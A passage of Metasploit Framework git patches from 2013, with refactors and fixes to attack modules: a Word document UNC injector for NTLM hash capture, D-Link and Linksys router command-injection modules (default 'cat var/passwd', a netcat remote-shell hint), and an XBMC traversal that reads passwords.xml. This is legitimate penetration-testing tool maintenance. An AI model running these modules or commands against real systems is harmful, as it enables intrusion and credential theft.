zP)CyX#iaMzAO>>YGw~(GBx;=mBVID@od6E?ip$^~iT1+0eS+ED9ZmjcHVp*iyx9b& zNc>4j*md?z@~k@}62YsNfCcl0iH0;s#rsgOZ+RjK=3gWl$zq<|En?n)o(f~+yoZHu zd}WQ?AyMCX7W2q6xA!i) zBDExHXfe+xs8S4(O|2_~dlxe@<(HXH!8_{9;Jw9+WRZrfTK3D05H~sRV!PZ>qIRlh z59L*hd$Q7`IM}?`NW$*agR(^42mW?d+w*6^ha5H;^Zs(O&o|;biyO5?jAwJVF8B#8 zo}72#1vi#lCpEAq6ezsjDTpz>nS{+tG0ctsJrvxtxeR`qV#JGT@HA=C#M+3NoOgbj z@`Y)rFuycIb|}dLef$Go|01X{qK`T)$u)pQE+sE(^v&zG zl4;ofI%<3VH!qon^v!K8VNfV3Dstbg^P%5@z=B+c7n`1MO4RjfMsa~U=TMI~ef%)d zfh+EX`b!&$3I&ZIo{(+?2z+WzOw|*#a1b41c)C0S>=w*fr2CF&8&5hi95rCYfGr&`1gpH#F@C) zfh!7TRw+bxBU1!Naj5(FroUV!<90{vY=U_SIq$*d^(qd&Da#S-rT0O_7&YTsr$V!E f;X0i6-1c+>zP*%@=vP!Js(jZ9s%Gb$sNDYpKbr&S diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac..8b754c1871 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ public abstract class RpcConnection { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) From 03a9723dc8bc03943adc8003b8e4de500a19c7e1 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Mon, 4 Feb 2013 17:36:02 -0600 Subject: [PATCH 121/448] Update options to use OptEnum for HTTP_METHOD --- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 3 +-- modules/exploits/multi/http/rails_xml_yaml_code_exec.rb | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4066d047fe..6fafba24d9 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 8743f76106..e5e5311505 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( From 0f46ed72e1359ed4ac133410725a6cb153ae37d5 Mon Sep 17 00:00:00 2001 From: SphaZ Date: Tue, 5 Feb 2013 12:00:04 +0100 Subject: [PATCH 122/448] Using snake_case, fixed using tmp files, changed errorhandling --- modules/auxiliary/docx/word_unc_injector.rb | 326 ++++++++------------ 1 file changed, 126 insertions(+), 200 deletions(-) diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 66c5325d38..c234f3dd8e 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary If emailed the receiver needs to put the document in editing mode before the remote server will be contacted. Preview and read-only mode do not work. Verified to work with Microsoft Word 2003, - 2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb + 2007 and 2010 as of January 2013 date by using auxiliary/server/capture/smb }, 'License' => MSF_LICENSE, 'References' => @@ -40,252 +40,178 @@ class Metasploit3 < Msf::Auxiliary OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), - OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']), + OptString.new('DOCAUTHOR',[false,'Document author for empty document.', '']), ], self.class) end #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty - def makeNewFile - metadataFileData = "" - metadataFileData << "" - metadataFileData << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" - metadataFileData << "1" - metadataFileData << "2013-01-08T14:14:00Z" - metadataFileData << "2013-01-08T14:14:00Z" + def make_new_file + metadata_file_data = "" + metadata_file_data << "" + metadata_file_data << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" + metadata_file_data << "1" + metadata_file_data << "2013-01-08T14:14:00Z" + metadata_file_data << "2013-01-08T14:14:00Z" #where to find the skeleton files required for creating an empty document - dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx") - tmpDir = "#{Dir.tmpdir}/unc_tmp" - - #setup temporary directory structure - begin - cleanupTmp(tmpDir) - FileUtils.mkdir_p("#{tmpDir}/docProps/") - FileUtils.mkdir_p("#{tmpDir}/word/_rels/") - rescue - print_error("Error generating temp directory structure.") - return nil - end - - #here we store our on-the-fly created files - begin - f = File.open("#{tmpDir}/docProps/core.xml", 'wb') - f.write(metadataFileData) - f.close() - f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb') - f.write(@relsFileData) - f.close() - rescue - print_error("Cant write to temp file.") - cleanupTmp(tmpDir) - return nil - end + data_dir = File.join(Msf::Config.install_root, "data", "exploits", "docx") #making the actual docx - begin - docx = Rex::Zip::Archive.new - #add skeleton files - vprint_status("Adding skeleton files from #{dataDir}") - Dir["#{dataDir}/**/**"].each do |file| - if not File.directory?(file) - docx.add_file(file.sub(dataDir,''), File.read(file)) - end + docx = Rex::Zip::Archive.new + #add skeleton files + vprint_status("Adding skeleton files from #{data_dir}") + Dir["#{data_dir}/**/**"].each do |file| + if not File.directory?(file) + docx.add_file(file.sub(data_dir,''), File.read(file)) end - #add on-the-fly created documents - vprint_status("Adding injected files") - Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file| - if not File.directory?(file) - docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file)) - end - end - #add the otherwise skipped "hidden" file - file = "#{dataDir}/_rels/.rels" - docx.add_file(file.sub(dataDir,''), File.read(file)) - file_create(docx.pack) - rescue - print_error("Error creating empty document #{datastore['FILENAME']}") - cleanupTmp(tmpDir) - return nil end - - cleanupTmp(tmpDir) - return 0 + #add on-the-fly created documents + vprint_status("Adding injected files") + docx.add_file("docProps/core.xml", metadata_file_data) + docx.add_file("word/_rels/settings.xml.rels", @rels_file_data) + #add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + docx.add_file(file.sub(data_dir,''), File.read(file)) + #and lets create the file + file_create(docx.pack) end - #cleaning up of temporary files. If it fails we say so, but continue anyway - def cleanupTmp(dir) - begin - FileUtils.rm_rf(dir) - rescue - print_error("Error cleaning up tmp directory structure.") - end - end - - #here we inject an UNC path into an existing file, and store the injected file in FILENAME - def manipulateFile - #where do we unpack our source file? - tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" + def manipulate_file + #where do we unpack our source files + tmp_dir = "#{Dir.tmpdir}/unc#{Time.now.to_i}#{rand(1000)}/" ref = "" - if File.exists?(datastore['SOURCE']) - if not File.stat(datastore['SOURCE']).readable? - print_error("Not enough rights to read the file. Aborting.") - return nil - end - - #lets extract our docx - if unzipDocx(tmpDir).nil? - return nil - end - - fileContent = File.read("#{tmpDir}/word/settings.xml") - - if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? - vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") - - #we put just our rels file into the docx - if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil? - return nil - end - - # lets zip the end result - if zipDocx(tmpDir).nil? - return nil - end - else - #now insert the reference to the file that will enable our malicious entry - insertOne = fileContent.index(" e + print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") return nil end return 0 end #used for updating the files inside the docx from a string - def updateDocxFile(tmpDir,fileString, content) - begin - archive = File.join(tmpDir, fileString) - vprint_status("We need to look for: #{archive}") - if File.exists?(archive) - vprint_status("Deleting original file #{archive}") - File.delete(archive) - end - File.open(archive, 'wb+') { |f| f.write(content) } - rescue Exception => ex - print_error("Well, extracting and manipulating the file went wrong :(") - cleanupTmp(tmpDir) - return nil + def update_docx_file(tmp_dir,file_string, content) + archive = File.join(tmp_dir, file_string) + vprint_status("We need to look for: #{archive}") + if File.exists?(archive) + vprint_status("Deleting original file #{archive}") + File.delete(archive) end - return 0 + File.open(archive, 'wb+') { |f| f.write(content) } end def run - #we need this in makeNewFile and manipulateFile - @relsFileData = "" - @relsFileData << "".chomp - @relsFileData << "".chomp - @relsFileData << "" + #we need this in make_new_file and manipulate_file + @rels_file_data = "" + @rels_file_data << "".chomp + @rels_file_data << "".chomp + @rels_file_data << "" if "#{datastore['SOURCE']}" == "" #make an empty file print_status("Creating empty document") - if not makeNewFile.nil? - print_good("Success! Empty document #{datastore['FILENAME']} created.") - end + make_new_file else #extract the word/settings.xml and edit in the reference we need print_status("Injecting UNC path into existing document.") - if not manipulateFile.nil? + if not manipulate_file.nil? print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") end end From 43f3bb4fe602755a8b997126428d591fecf82b1a Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Tue, 5 Feb 2013 13:54:10 +0100 Subject: [PATCH 123/448] small updates --- .../http/dlink_dir_300_600_exec_noauth.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index 9b24a0fa80..feea8e0d3e 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -13,12 +13,13 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link DIR-600 rev B / DIR-300 rev B unauthenticated Remote Command Execution in command.php', + 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', 'Description' => %q{ - Some D-Link Routers are vulnerable to OS Command injection. + Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are + vulnerable to OS Command injection. You do not need credentials to the webinterface because the command.php is accesseble without authentication. You could read the plaintext password - file. + file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. Hint: To get a remote shell you could start the telnetd without any authentication. }, 'Author' => [ 'm-1-k-3' ], @@ -35,14 +36,14 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptString.new('CMD', [ true, 'The command to execute', 'cat /var/passwd']) + OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd']) ], self.class) end def run uri = '/command.php' - print_status("Sending remote command: " + datastore['CMD']) + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) data_cmd = "cmd=#{datastore['CMD']}; echo end" @@ -63,11 +64,11 @@ class Metasploit3 < Msf::Auxiliary end if res.body.include? "end" - print_status("Exploited successfully") - print_line("Command: #{datastore['CMD']}") - print_line("Output: #{res.body}") + print_status("#{rhost}:#{rport} - Exploited successfully\n") + print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") + print_line("#{rhost}:#{rport} - Output: #{res.body}") else - print_status("Exploit failed.") + print_status("#{rhost}:#{rport} - Exploit failed.") end end end From 463a45ccafd3ceb6fefffa2a2375615bf64569ec Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Feb 2013 09:57:33 -0600 Subject: [PATCH 124/448] if we don't support the auth return original res make sure we return the original 401 if we don't support the auth. --- lib/rex/proto/http/client.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index c06de1884e..771230edd8 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -431,6 +431,7 @@ class Client end return res end + return res end def basic_auth_header(username,password) From 16b4fb1faa8fab1009d4fc7ee0d31828591c178e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Feb 2013 10:36:51 -0600 Subject: [PATCH 125/448] Added some comment documentation --- lib/rex/proto/http/client.rb | 37 ++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 771230edd8..ade8eb3397 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -392,10 +392,21 @@ class Client conn.put(req.to_s) end + # Validates that the client has creds def have_creds? !(self.username.nil?) && self.username != '' end + # + # Params - + # res = The 401 response we need to auth from + # opts = the opts used to generate the request that created this response + # t = the timeout for the http requests + # persist = whether to persist the tcp connection for HTTP Pipelining + # + # Parses the response for what Authentication methods are supported. + # Sets the corect authorization options and passes them on to the correct + # method for sending the next request. def send_auth(res, opts, t, persist) supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' @@ -434,11 +445,28 @@ class Client return res end + # Converts username and password into the HTTP Basic + # authorization string. def basic_auth_header(username,password) auth_str = username.to_s + ":" + password.to_s auth_str = "Basic " + Rex::Text.encode_base64(auth_str) end + + # + # Opts - + # Inherits all the same options as send_request_cgi + # Also expects some specific opts + # DigestAuthUser - The username for DigestAuth + # DigestAuthPass - The password for DigestAuth + # DigestAuthIIS - IIS uses a slighlty different implementation, set this for IIS support + # + # This method builds new request to complete a Digest Authentication cycle. + # We do not persist the original connection , to clear state in preparation for our auth + # We do persist the rest of the connection stream because Digest is a tcp session + # based authentication method. + # + def digest_auth(opts={}) @nonce_count = 0 @@ -572,6 +600,15 @@ class Client end end + # + # Opts - + # Inherits all the same options as send_request_cgi + # provider - What Negotiate Provider to use (supports NTLM and Negotiate) + # + # Builds a series of requests to complete Negotiate Auth. Works essentially + # the same way as Digest auth. Same pipelining concerns exist. + # + def negotiate_auth(opts={}) ntlm_options = { :signing => false, From 80a8bab02f14ff3db4f1f83b955388b18144d4f6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 5 Feb 2013 10:37:24 -0600 Subject: [PATCH 126/448] Correct the CVE reference --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index da5e539930..ac7286c9b0 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2012-5858' ], + [ 'CVE', '2012-5958' ], [ 'US-CERT-VU', '922681' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] ], From 888bb80ab6acf9408a1488c3b0f75676ae24a9a5 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Feb 2013 11:55:12 -0600 Subject: [PATCH 127/448] more comments --- lib/rex/proto/http/client.rb | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index ade8eb3397..d6d3fc68f2 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -359,9 +359,9 @@ class Client end # - # Transmit an HTTP request and receive the response - # If persist is set, then the request will attempt - # to reuse an existing connection. + # Sends a request and gets a response back + # If the request is a 401, and we have creds, it will attempt to + # complete authentication and return the final response # def send_recv(req, t = -1, persist=false) opts = req[:opts] @@ -373,6 +373,11 @@ class Client res end + # + # Transmit an HTTP request and receive the response + # If persist is set, then the request will attempt + # to reuse an existing connection. + # def _send_recv(req, t = -1, persist=false) if req.kind_of? Hash and req[:string] req = req[:string] @@ -608,7 +613,7 @@ class Client # Builds a series of requests to complete Negotiate Auth. Works essentially # the same way as Digest auth. Same pipelining concerns exist. # - + def negotiate_auth(opts={}) ntlm_options = { :signing => false, From 2cdeca54225b092ee508bf9043b6fec2dcbb69d5 Mon Sep 17 00:00:00 2001 From: Matt Andreko Date: Tue, 5 Feb 2013 14:32:50 -0500 Subject: [PATCH 128/448] Added reference & depth Added reference to IOActive's release. Added a depth option to allow user to specify how many folders to traverse. --- modules/auxiliary/scanner/http/xbmc_traversal.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/xbmc_traversal.rb b/modules/auxiliary/scanner/http/xbmc_traversal.rb index 2828421109..2f43b36077 100644 --- a/modules/auxiliary/scanner/http/xbmc_traversal.rb +++ b/modules/auxiliary/scanner/http/xbmc_traversal.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary [ ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'], ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'], + ['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'], ], 'DisclosureDate' => "Nov 4 2012" )) @@ -39,6 +40,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']), + OptInt.new('DEPTH', [true, 'The max traversal depth', 9]), OptString.new('USER', [true, 'The username to use for the HTTP server', 'xbmc']), OptString.new('PASS', [true, 'The password to use for the HTTP server', 'xbmc']), ], self.class) @@ -54,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary end # Create request - traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep + traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", From b3e828359d479a17d2a2a0975460563276fd7c7a Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Wed, 6 Feb 2013 01:02:46 +0200 Subject: [PATCH 129/448] Web::HTTP#_request: allow Rex opt level overrides Allow overriding options at the Rex level when performing requests via the Auxiliary::Web::HTTP wrapper. --- lib/msf/core/auxiliary/web/http.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 0a59187c02..a7c8fc86e3 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -266,10 +266,12 @@ class Auxiliary::Web::HTTP end def _request( url, opts = {} ) - body = opts[:body] + body = opts[:body] timeout = opts[:timeout] || 10 - method = opts[:method].to_s.upcase || 'GET' - url = url.is_a?( URI ) ? url : URI( url.to_s ) + method = opts[:method].to_s.upcase || 'GET' + url = url.is_a?( URI ) ? url : URI( url.to_s ) + + rex_overrides = opts.delete( :rex ) || {} param_opts = {} @@ -285,10 +287,11 @@ class Auxiliary::Web::HTTP end opts = @request_opts.merge( param_opts ).merge( - 'uri' => url.path || '/', - 'method' => method, + 'uri' => url.path || '/', + 'method' => method, 'headers' => headers.merge( opts[:headers] || {} ) - ) + # Allow for direct rex overrides + ).merge( rex_overrides ) opts['data'] = body if body From faeaa74a49c905b11082bd00e4e05175b626c38e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 11:06:13 -0600 Subject: [PATCH 130/448] Msftidy whitespace --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 311bb83896..632a991c0f 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary :category => "web", :method => "GET" }) - + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") elsif res and res.code @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary pass = datastore['PASSWORD'] vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") - + #test login begin res = send_request_cgi({ From 734bd614e1e6a6bbd758e299ce82f0d340a051fe Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 11:13:30 -0600 Subject: [PATCH 131/448] Adds a pre-commit hook that fires off msftidy If people use this, it'll cut down quite a bit on trivial module errors. --- tools/dev/pre-commit-hook.rb | 50 ++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100755 tools/dev/pre-commit-hook.rb diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb new file mode 100755 index 0000000000..f4e712a152 --- /dev/null +++ b/tools/dev/pre-commit-hook.rb @@ -0,0 +1,50 @@ +#!/usr/bin/env ruby + +# Check that modules actually pass msftidy checks first. +# To install this script, make this your pre-commit hook your local +# metasploit-framework clone. For example, if you have checked out +# the Metasploit Framework to: +# +# /home/mcfakepants/git/metasploit-framework +# +# then you will copy this script to: +# +# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit +# +# You must mark it executable (chmod +x), and do not name it +# pre-commit.rb (just pre-commit) + +valid = true # Presume validity +files_to_check = [] + +results = %x[git diff --cached --name-only] + +results.each_line do |fname| + fname.strip! + next unless File.exist?(fname) and File.file?(fname) + next unless fname =~ /modules.+\.rb/ + files_to_check << fname +end + +if files_to_check.empty? + puts "--- No Metasploit modules to check, committing. ---" +else + puts "--- Checking module syntax with tools/msftidy.rb ---" + files_to_check.each do |fname| + cmd = "ruby ./tools/msftidy.rb #{fname}" + msftidy_output= %x[ #{cmd} ] + puts "#{fname} - msftidy check passed" if msftidy_output.empty? + msftidy_output.each_line do |line| + valid = false + puts line + end + end + puts "-" * 52 +end + +unless valid + puts "msftidy.rb objected, aborting commit" + puts "To bypass this check use: git commit --no-verify" + puts "-" * 52 + exit(1) +end From 22e3458ceacb519ef75c156f1f3ec09dd6c943c0 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 6 Feb 2013 11:27:58 -0600 Subject: [PATCH 132/448] Fix multi-line output due to bad regex flag --- modules/auxiliary/scanner/upnp/ssdp_msearch.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index 4899016978..2488a21d06 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary } } - if data =~ /^Server:[\s]*(.*)/mi + if data =~ /^Server:[\s]*(.*)/i @results[skey][:info][:server] = $1.strip end ssdp_host = nil ssdp_port = 80 location_string = '' - if data =~ /^Location:[\s]*(.*)/mi + if data =~ /^Location:[\s]*(.*)/i location_string = $1 @results[skey][:info][:location] = $1.strip if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/] @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary end end - if data =~ /^USN:[\s]*(.*)/mi + if data =~ /^USN:[\s]*(.*)/i @results[skey][:info][:usn] = $1.strip end From e175e2c9e9b321a955f96bf7e4902835b7c372d2 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 12:19:57 -0600 Subject: [PATCH 133/448] typo in method name --- modules/auxiliary/scanner/misc/dvr_config_disclosure.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index b2e36eaefa..3201f3f340 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary end - def get_ppooe_credentials(conf) + def get_pppoe_credentials(conf) user = "" password = "" @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary get_ftp_credentials(conf) get_dvr_credentials(conf) get_ddns_credentials(conf) - get_ppooe_credentials(conf) + get_pppoe_credentials(conf) dvr_name = "" if res.body =~ /DVR_NAME=(.*)/ From 5357e236751fc0a07f522e89425ed30b40148e6c Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 12:46:50 -0600 Subject: [PATCH 134/448] Fixups to the Linksys module Professionalizes the description a little, but more importantly, handles LANIP better, I think. Instead of faking a 1.1.1.1 address, just detect if it's set or not in a method and return the right thing accordingly. Please test this before landing, obviously. I think it's what's intended. --- .../admin/http/linksys_wrt54gl_exec.rb | 27 ++++++++++--------- 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index ea37ca8e21..2c99d9c9f4 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -20,13 +20,12 @@ class Metasploit3 < Msf::Auxiliary of the application. Default credentials are always a good starting point. admin/admin or admin and blank password could be a first try. - Note: This is a blind os command injection vulnerability. This means that + Note: This is a blind OS command injection vulnerability. This means that you will not see any output of your command. Try a ping command to your - local system for a first test. + local system and observe the packets with tcpdump (or equivalent) for a first test. Hint: To get a remote shell you could upload a netcat binary and exec it. - WARNING: Backup your network and dhcp configuration. We will overwrite it! - Have phun + WARNING: this module will overwrite network and DHCP configuration. }, 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE, @@ -50,13 +49,23 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PASSWORD',[ false, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), - OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']), + OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']) ], self.class) end + # If the user configured LANIP, use it. Otherwise, use RHOST. + # NB: This presumes a dotted quad ip address. + def lan_ip + if datastore['LANIP'].to_s.empty? + datastore['RHOST'] + else + datastore['LANIP'] + end + end + def run #setting up some basic variables uri = datastore['TARGETURI'] @@ -67,13 +76,7 @@ class Metasploit3 < Msf::Auxiliary wandomain = datastore['WAN_DOMAIN'] wanmtu = datastore['WAN_MTU'] - if datastore['LANIP'] !~ /1.1.1.1/ - #there is a configuration from the user so we use LANIP for the router configuration - ip = datastore['LANIP'].split('.') - else - #no configuration from user so we use RHOST for the router configuration - ip = rhost.split('.') - end + ip = lan_ip.split('.') if datastore['PASSWORD'].nil? pass = "" From 7d9982f6accba653b6057cb9801d6ac436151a79 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 6 Feb 2013 14:07:20 -0600 Subject: [PATCH 135/448] Add pcaprub to gem deps --- Gemfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Gemfile b/Gemfile index fc720a23b7..3d5f14fe4c 100755 --- a/Gemfile +++ b/Gemfile @@ -16,6 +16,8 @@ gem 'nokogiri' gem 'pg', '>= 0.11' # Needed by anemone crawler gem 'robots' +# For sniffer and raw socket modules +gem 'pcaprub' group :development do # Markdown formatting for yard From d5b0482127f4cc66ce7c4f16febaff6328de1f72 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Feb 2013 14:19:18 -0600 Subject: [PATCH 136/448] Note linking strat in comment docs --- tools/dev/pre-commit-hook.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/dev/pre-commit-hook.rb 